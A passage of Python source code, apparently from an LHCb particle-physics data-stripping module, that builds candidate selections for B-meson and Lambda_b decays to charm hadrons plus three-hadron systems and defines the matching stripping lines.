#should never change\n )\n\n\t# Now make the PiPiPi bachelor\n self.selPiPiPi = makePiPiPi( 'PiPiPiForB2D3H'+name,\n pionSel = self.selPions,\n MinPT = config['MinPT'],\n Bach3HMassWindow = config['Bach3HMassWindow'],\n Bach3HDocaMax = config['Bach3HDocaMax'],\n Bach3HMinPT = config['Bach3HMinPT'],\n Bach3HIP2PV = config['Bach3HIP2PV'],\n Bach3HIPChisq2PV = config['Bach3HIPChisq2PV'],\n Bach3HVtxChisq = config['Bach3HVtxChisq'],\n Bach3HVtxSepChisq = config['Bach3HVtxSepChisq'],\n Bach3HDiraPV = config['Bach3HDiraPV'],\n Bach3HZVtxSep = config['Bach3HZVtxSep'],\n Bach3HDRPV = config['Bach3HDRPV']\n )\n # Make the KPiPi bachelor\n self.selKPiPi = makeKPiPi( 'KPiPiForB2D3H'+name,\n pionSel = self.selPions,\n kaonSel = self.selKaons,\n MinPT = config['MinPT'],\n Bach3HMassWindow = config['Bach3HMassWindow'],\n Bach3HDocaMax = config['Bach3HDocaMax'],\n Bach3HMinPT = config['Bach3HMinPT'],\n Bach3HIP2PV = config['Bach3HIP2PV'],\n Bach3HIPChisq2PV = config['Bach3HIPChisq2PV'],\n Bach3HVtxChisq = config['Bach3HVtxChisq'],\n Bach3HVtxSepChisq = config['Bach3HVtxSepChisq'],\n Bach3HDiraPV = config['Bach3HDiraPV'],\n Bach3HZVtxSep = config['Bach3HZVtxSep'],\n Bach3HDRPV = config['Bach3HDRPV']\n )\n\n # Make the PPbarPi bachelor\n self.selPPbarPi = makePPbarh( 'PPbarPiForB2D3H'+name,\n protonSel = self.selProtons,\n hSel = self.selPions,\n MinPT = config['MinPT'],\n Bach3HMassWindow = 5000.0,\n Bach3HDocaMax = config['Bach3HDocaMax'],\n Bach3HMinPT = config['Bach3HMinPT'],\n Bach3HIP2PV = config['Bach3HIP2PV'],\n Bach3HIPChisq2PV = config['Bach3HIPChisq2PV'],\n Bach3HVtxChisq = config['Bach3HVtxChisq'],\n Bach3HVtxSepChisq = config['Bach3HVtxSepChisq'],\n Bach3HDiraPV = config['Bach3HDiraPV'],\n Bach3HZVtxSep = config['Bach3HZVtxSep'],\n Bach3HDRPV = config['Bach3HDRPV'],\n decayDesc = \"[Xi_c+ -> p+ p~- pi+]cc\"\n )\n\n\n # Make the PPbarPi bachelor\n self.selPPbarK = makePPbarh( 'PPbarKForB2D3H'+name,\n protonSel = self.selProtons,\n hSel = self.selKaons,\n MinPT = config['MinPT'],\n Bach3HMassWindow = 5000.0,\n Bach3HDocaMax = config['Bach3HDocaMax'],\n Bach3HMinPT = config['Bach3HMinPT'],\n Bach3HIP2PV = config['Bach3HIP2PV'],\n Bach3HIPChisq2PV = config['Bach3HIPChisq2PV'],\n Bach3HVtxChisq = config['Bach3HVtxChisq'],\n Bach3HVtxSepChisq = config['Bach3HVtxSepChisq'],\n Bach3HDiraPV = config['Bach3HDiraPV'],\n Bach3HZVtxSep = config['Bach3HZVtxSep'],\n Bach3HDRPV = config['Bach3HDRPV'],\n decayDesc = \"[Xi_c+ -> p+ p~- K+]cc\"\n )\n\n # Filter LT Unbiased D+, the children don't suffer from lifetime biases since also prompt D's have a lifetime\n self.selUnbiasedDch = makeDMeson( 'UnbiasedForB2D3H'+name,\n pionSel = self.selTightPions,\n kaonSel = self.selTightKaons,\n DMassWindow = config['DMassWindow'],\n DsMassWindow = config['DsMassWindow'],\n DDocaMax = config['DDocaMax'],\n DMinPT = config['DMinPT'],\n MinPT = config['MinPT'],\n DIP2PV = 0, #should never change\n DIPChisq2PV = 0, #should never change\n DVtxChisq = config['DVtxChisq'],\n DVtxSepChisq = 0, #should never change\n DDiraPV = config['DDiraPV'],\n DZVtxSep = 0, #should never change\n DDRPV = 0, #should never change\n PionMinIPChisq = config['PionMinIPChisq'],\n PionPiDDLL = 10000.0,\n KaonPiDDLL = -10000.0\n )\n # Filter D+\n self.selDch = makeDMeson( 'ForB2D3H'+name,\n pionSel = self.selPions,\n kaonSel = self.selKaons,\n DMassWindow = config['DMassWindow'],\n DsMassWindow = config['DsMassWindow'],\n DDocaMax = config['DDocaMax'],\n DMinPT = config['DMinPT'],\n MinPT = config['MinPT'],\n DIP2PV = config['DIP2PV'],\n DIPChisq2PV = config['DIPChisq2PV'],\n DVtxChisq = config['DVtxChisq'],\n DVtxSepChisq = config['DVtxSepChisq'],\n DDiraPV = config['DDiraPV'],\n DZVtxSep = config['DZVtxSep'],\n DDRPV = config['DDRPV'],\n PionMinIPChisq = config['PionMinIPChisq'],\n PionPiDDLL = config['PionPiDDLL'],\n KaonPiDDLL = config['KaonPiDDLL']\n )\n\n # Filter Lambda_c+\n self.selLambdaC = makeLambdaC( 'ForB2D3H'+name,\n pionSel = self.selPions,\n kaonSel = self.selKaons,\n protonSel = self.selProtons,\n DMassWindow = config['DMassWindow'],\n DDocaMax = config['DDocaMax'],\n DMinPT = config['DMinPT'],\n MinPT = config['MinPT'],\n DIP2PV = config['DIP2PV'],\n DIPChisq2PV = config['DIPChisq2PV'],\n DVtxChisq = config['DVtxChisq'],\n DVtxSepChisq = config['DVtxSepChisq'],\n DDiraPV = config['DDiraPV'],\n DZVtxSep = config['DZVtxSep'],\n DDRPV = config['DDRPV'],\n PionMinIPChisq = config['PionMinIPChisq'],\n PionPiDDLL = config['PionPiDDLL'],\n KaonPiDDLL = config['KaonPiDDLL']\n )\n\n\n # Filter D0\n self.selD0 = makeD0Meson( 'ForB2D03H'+name,\n pionSel = self.selPions,\n kaonSel = self.selKaons,\n DMassWindow = config['D0MassWindow'],\n DDocaMax = config['DDocaMax'],\n DMinPT = config['DMinPT'],\n MinPT = config['MinPT'],\n DIP2PV = config['DIP2PV'],\n DIPChisq2PV = config['DIPChisq2PV'],\n DVtxChisq = config['DVtxChisq'],\n DVtxSepChisq = config['DVtxSepChisq'],\n DDiraPV = config['DDiraPV'],\n DZVtxSep = config['DZVtxSep'],\n DDRPV = config['DDRPV'],\n PionMinIPChisq = config['PionMinIPChisq'],\n PionPiDDLL = config['PionPiDDLL'],\n KaonPiDDLL = config['KaonPiDDLL']\n )\n\n # Filter Dstar\n self.selDStar = makeDStarMeson( 'ForB2DStar3H'+name,\n dSel = self.selD0,\n pionSel = self.selPions,\n DStarMassWindow = config['DStarMassWindow'],\n DDocaMax = config['DDocaMax'],\n DStarMinPT = config['DStarMinPT'],\n DIP2PV = config['DIP2PV'],\n DIPChisq2PV = config['DIPChisq2PV'],\n DVtxChisq = config['DVtxChisq'],\n DVtxSepChisq = config['DVtxSepChisq'],\n DDiraPV = config['DDiraPV'],\n DZVtxSep = config['DZVtxSep'],\n DDRPV = config['DDRPV']\n )\n\n # Make X(cc) -> D*+D-\n self.selXcc = makeXccMeson('ForB2XccK'+name,self.selDStar,self.selDch)\n\n # Make WS X(cc) -> D*+D-\n self.selXccWS = makeXccWSMeson('ForB2XccK'+name,self.selDStar,self.selDch)\n\n # Make B- --> D~0 (pipipi)+\n name1 = 'B2D0PiPiPi' + name\n self.B2D0PiPiPi = makeB2D3H(name1,\n dSel = self.selD0,\n hhhSel = self.selPiPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B+ -> D~0 a_1(1260)+]cc\",\n parentB = \"B+\"\n )\n\n\n # Make B- --> D~0 (KPiPi)+\n name2 = 'B2D0KPiPi' + name\n self.B2D0KPiPi = makeB2D3H(name2,\n dSel = self.selD0,\n hhhSel = self.selKPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B+ -> D~0 K_1(1270)+]cc\",\n parentB = \"B+\"\n )\n\n\n # Make B- --> D- (pipipi)+\n name3 = 'B2DPiPiPi' + name\n self.B2DPiPiPi = makeB2D3H(name3,\n dSel = self.selDch,\n hhhSel = self.selPiPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B0 -> D- a_1(1260)+]cc\",\n parentB = \"B0\")\n\n # Make LT unbiased B- --> D- (pipipi)+\n name4 = 'UnbiasedB2DPiPiPi' + name\n self.UnbiasedB2DPiPiPi = makeB2D3H(name4,\n dSel = self.selUnbiasedDch,\n hhhSel = self.selUnbiasedPiPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = 100000, #should never change\n BIPChisq2PV = 100000, #should never change\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = 0, #should never change\n BDiraPV = config['BDiraPV'],\n BZVtxSep = 0, #should never change\n BDZVtxSep = 0, #should never change\n BDRPV = 0, #should never change\n decayDesc = \"[B0 -> D- a_1(1260)+]cc\",\n parentB = \"B0\")\n\n #Filter LT unbiased B's for HLT1 and HLT2 TIS\n self.UnbiasedB2DPiPiPiHLT1TIS = makeTISTOSSel(\"HLT1TISSelFor\" + name + \"WithUnbiasedB2DPiPiPi\", self.UnbiasedB2DPiPiPi, \"Hlt1Global%TIS\")\n self.UnbiasedB2DPiPiPiHLT1HLT2TIS = makeTISTOSSel(\"HLT2TISSelFor\" + name + \"WithUnbiasedB2DPiPiPi\", self.UnbiasedB2DPiPiPiHLT1TIS, \"Hlt2Global%TIS\")\n\n # Make B0 --> D- (Kpipi)+\n name5 = 'B2DKPiPi' + name\n self.B2DKPiPi = makeB2D3H(name5,\n dSel = self.selDch,\n hhhSel = self.selKPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B0 -> D- K_1(1270)+]cc\",\n parentB = \"B0\")\n\n # Make B- --> D*- (pipipi)+\n name6 = 'B2DStarPiPiPi' + name\n self.B2DStarPiPiPi = makeB2D3H(name6,\n dSel = self.selDStar,\n hhhSel = self.selPiPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B0 -> D*(2010)- a_1(1260)+]cc\",\n parentB = \"B0\")\n\n\n\n # Make B0 --> D*- (Kpipi)+\n name7 = 'B2DStarKPiPi' + name\n self.B2DStarKPiPi = makeB2D3H(name7,\n dSel = self.selDStar,\n hhhSel = self.selKPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B0 -> D*(2010)- K_1(1270)+]cc\",\n parentB = \"B0\")\n\n\n\n # Make B- --> D_(s)- D_(s)+\n name8 = 'B2DD' + name\n self.B2DD = makeB2D3H(name8,\n dSel = self.selDch,\n hhhSel = self.selDch,\n BMassWindow = 800.0,\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"B0 -> D- D+\",\n parentB = \"B0\")\n\n # Make B- --> D_(s)- D_(s)+\n name9 = 'B2DStarD' + name\n self.B2DStarD = makeB2D3H(name9,\n dSel = self.selDStar,\n hhhSel = self.selDch,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B0 -> D*(2010)- D+]cc\",\n parentB = \"B0\")\n\n\n # Make LambdaB --> LambdaC+ (pipipi)+\n name9 = 'LambdaB2LambdaCPiPiPi' + name\n self.LambdaB2LambdaCPiPiPi = makeB2D3H(name9,\n dSel = self.selLambdaC,\n hhhSel = self.selPiPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[Lambda_b0 -> Lambda_c+ a_1(1260)-]cc\",\n parentB = \"Lambda_b0\")\n\n\n # Make LambdaB --> LambdaC+ (Kpipi)-\n name10 = 'LambdaB2LambdaCKPiPi' + name\n self.LambdaB2LambdaCKPiPi = makeB2D3H(name10,\n dSel = self.selLambdaC,\n hhhSel = self.selKPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[Lambda_b0 -> Lambda_c+ K_1(1270)-]cc\",\n parentB = \"Lambda_b0\")\n\n # Make LambdaB --> LambdaC+ (ppbarpi)+\n name11 = 'LambdaB2LambdaCPPbarPi' + name\n self.LambdaB2LambdaCPPbarPi = makeB2D3H(name11,\n dSel = self.selLambdaC,\n hhhSel = self.selPPbarPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[Lambda_b0 -> Lambda_c+ Xi_c~-]cc\",\n parentB = \"Lambda_b0\")\n\n # Make LambdaB --> LambdaC+ (ppbarK)+\n name12 = 'LambdaB2LambdaCPPbarK' + name\n self.LambdaB2LambdaCPPbarK = makeB2D3H(name12,\n dSel = self.selLambdaC,\n hhhSel = self.selPPbarK,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[Lambda_b0 -> Lambda_c+ Xi_c~-]cc\",\n parentB = \"Lambda_b0\")\n\n # Make B+ --> D*- D+ K+\n theName = 'B2DStarDK' + name\n self.B2DStarDK = makeB2D3H(theName,\n dSel = self.selXcc,\n hhhSel = self.selKaons,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B+ -> eta_c(1S) K+]cc\",\n parentB = \"B+\")\n name13 = 'B2D0D' + name\n self.B2D0D = makeB2D3H(name13,\n dSel = self.selD0,\n hhhSel = self.selDch,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B- -> D0 D-]cc\",\n parentB = \"B+\")\n\n\n # ----------------------------------\n # Create the Wrong-Sign Combinations\n # ----------------------------------\n\n # Make B- --> D- (pipipi)+\n name3 = 'WSB2DPiPiPi' + name\n self.WSB2DPiPiPi = makeB2D3H(name3,\n dSel = self.selDch,\n hhhSel = self.selPiPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B0 -> D- a_1(1260)-]cc\",\n parentB = \"B0\")\n\n # Make B0 --> D- (Kpipi)-\n name5 = 'WSB2DKPiPi' + name\n self.WSB2DKPiPi = makeB2D3H(name5,\n dSel = self.selDch,\n hhhSel = self.selKPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B0 -> D- K_1(1270)-]cc\",\n parentB = \"B0\")\n\n # Make B- --> D*- (pipipi)-\n name6 = 'WSB2DStarPiPiPi' + name\n self.WSB2DStarPiPiPi = makeB2D3H(name6,\n dSel = self.selDStar,\n hhhSel = self.selPiPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B0 -> D*(2010)- a_1(1260)-]cc\",\n parentB = \"B0\")\n\n\n\n # Make B0 --> D*- (Kpipi)-\n name7 = 'WSB2DStarKPiPi' + name\n self.WSB2DStarKPiPi = makeB2D3H(name7,\n dSel = self.selDStar,\n hhhSel = self.selKPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B0 -> D*(2010)- K_1(1270)-]cc\",\n parentB = \"B0\")\n\n\n\n # Make B- --> D_(s)- D_(s)-\n name8 = 'WSB2DD' + name\n self.WSB2DD = makeB2D3H(name8,\n dSel = self.selDch,\n hhhSel = self.selDch,\n BMassWindow = 600.0,\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B0 -> D- D-]cc\",\n parentB = \"B0\")\n\n # Make B- --> D_(s)- D_(s)-\n name9 = 'WSB2DStarD' + name\n self.WSB2DStarD = makeB2D3H(name9,\n dSel = self.selDStar,\n hhhSel = self.selDch,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B0 -> D*(2010)- D-]cc\",\n parentB = \"B0\")\n\n\n # Make LambdaB --> LambdaC+ (pipipi)+\n name9 = 'WSLambdaB2LambdaCPiPiPi' + name\n self.WSLambdaB2LambdaCPiPiPi = makeB2D3H(name9,\n dSel = self.selLambdaC,\n hhhSel = self.selPiPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[Lambda_b0 -> Lambda_c+ a_1(1260)+]cc\",\n parentB = \"Lambda_b0\")\n\n\n # Make LambdaB --> LambdaC+ (Kpipi)+\n name10 = 'WSLambdaB2LambdaCKPiPi' + name\n self.WSLambdaB2LambdaCKPiPi = makeB2D3H(name10,\n dSel = self.selLambdaC,\n hhhSel = self.selKPiPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[Lambda_b0 -> Lambda_c+ K_1(1270)+]cc\",\n parentB = \"Lambda_b0\")\n\n # Make LambdaB --> LambdaC+ (ppbarpi)+\n name11 = 'WSLambdaB2LambdaCPPbarPi' + name\n self.WSLambdaB2LambdaCPPbarPi = makeB2D3H(name11,\n dSel = self.selLambdaC,\n hhhSel = self.selPPbarPi,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[Lambda_b0 -> Lambda_c+ Xi_c+]cc\",\n parentB = \"Lambda_b0\")\n\n # Make LambdaB --> LambdaC+ (ppbarK)+\n name12 = 'WSLambdaB2LambdaCPPbarK' + name\n self.WSLambdaB2LambdaCPPbarK = makeB2D3H(name12,\n dSel = self.selLambdaC,\n hhhSel = self.selPPbarK,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[Lambda_b0 -> Lambda_c+ Xi_c+]cc\",\n parentB = \"Lambda_b0\")\n\n # Make WS B+ --> D*+ D+ K+\n theName = 'WSB2DStarDK' + name\n self.WSB2DStarDK = makeB2D3H(theName,\n dSel = self.selXccWS,\n hhhSel = self.selKaons,\n BMassWindow = config['BMassWindow'],\n BMinPT = config['BMinPT'],\n MinPT = config['MinPT'],\n BIP2PV = config['BIP2PV'],\n BIPChisq2PV = config['BIPChisq2PV'],\n BVtxChisq = config['BVtxChisq'],\n BVtxSepChisq = config['BVtxSepChisq'],\n BDiraPV = config['BDiraPV'],\n BZVtxSep = config['BZVtxSep'],\n BDZVtxSep = config['BDZVtxSep'],\n BDRPV = config['BDRPV'],\n decayDesc = \"[B+ -> eta_c(1S) K+]cc\",\n parentB = \"B+\")\n\n\n # Now create stripping lines...\n\n # These are for the full mass region with sidebands.\n # These lines should be prescaled first, if necessary.\n\n #---------------------------\n # Right-Sign Stripping Lines\n #---------------------------\n\n self.StrippingAllB2D0PiPiPiLine = StrippingLine('AllB2D0PiPiPiLine'+name,\n prescale = config['B2D0PiPiPiAll_Prescale'],\n postscale = config['B2D0PiPiPiAll_Postscale'],\n selection = self.B2D0PiPiPi,\n FILTER = self.EventFilter\n\t\t\t\t\t\t #FILTER = \"TrSOURCE('Rec/Track/Best', TrLONG) >> (TrSIZE < %(MaxTracks)s )\" %locals()\n )\n\n self.StrippingAllB2D0KPiPiLine = StrippingLine('AllB2D0KPiPiLine'+name,\n prescale = config['B2D0KPiPiAll_Prescale'],\n postscale = config['B2D0KPiPiAll_Postscale'],\n #algos = [ self.EventFilter, self.B2D0KPiPi],\n selection = self.B2D0KPiPi,\n FILTER = self.EventFilter\n )\n\n #self.StrippingAllUnbiasedB2DPiPiPiLine = StrippingLine('AllUnbiasedB2DPiPiPiLine'+name,\n # prescale = config['UnbiasedB2DPiPiPiAll_Prescale'],\n # postscale = config['UnbiasedB2DPiPiPiAll_Postscale'],\n # #algos = [ self.EventFilter, self.UnbiasedB2DPiPiPiHLT1HLT2TIS]\n # selection = self.UnbiasedB2DPiPiPiHLT1HLT2TIS,\n # FILTER = self.EventFilter\n # )\n\n self.StrippingAllB2DPiPiPiLine = StrippingLine('AllB2DPiPiPiLine'+name,\n prescale = config['B2DPiPiPiAll_Prescale'],\n postscale = config['B2DPiPiPiAll_Postscale'],\n #algos = [ self.EventFilter, self.B2DPiPiPi]\n selection = self.B2DPiPiPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllB2DKPiPiLine = StrippingLine('AllB2DKPiPiLine'+name,\n prescale = config['B2DKPiPiAll_Prescale'],\n postscale = config['B2DKPiPiAll_Postscale'],\n #algos = [ self.EventFilter, self.B2DKPiPi]\n selection = self.B2DKPiPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllB2DStarPiPiPiLine = StrippingLine('AllB2DStarPiPiPiLine'+name,\n prescale = config['B2DStarPiPiPiAll_Prescale'],\n postscale = config['B2DStarPiPiPiAll_Postscale'],\n #algos = [ self.EventFilter, self.B2DStarPiPiPi]\n selection = self.B2DStarPiPiPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllB2DStarKPiPiLine = StrippingLine('AllB2DStarKPiPiLine'+name,\n prescale = config['B2DStarKPiPiAll_Prescale'],\n postscale = config['B2DStarKPiPiAll_Postscale'],\n #algos = [ self.EventFilter, self.B2DStarKPiPi]\n selection = self.B2DStarKPiPi,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllB2DDLine = StrippingLine('AllB2DDLine'+name,\n prescale = config['B2DDAll_Prescale'],\n postscale = config['B2DDAll_Postscale'],\n #algos = [ self.EventFilter, self.B2DD]\n selection = self.B2DD,\n FILTER = self.EventFilter\n )\n\n self.StrippingAllB2DStarDLine = 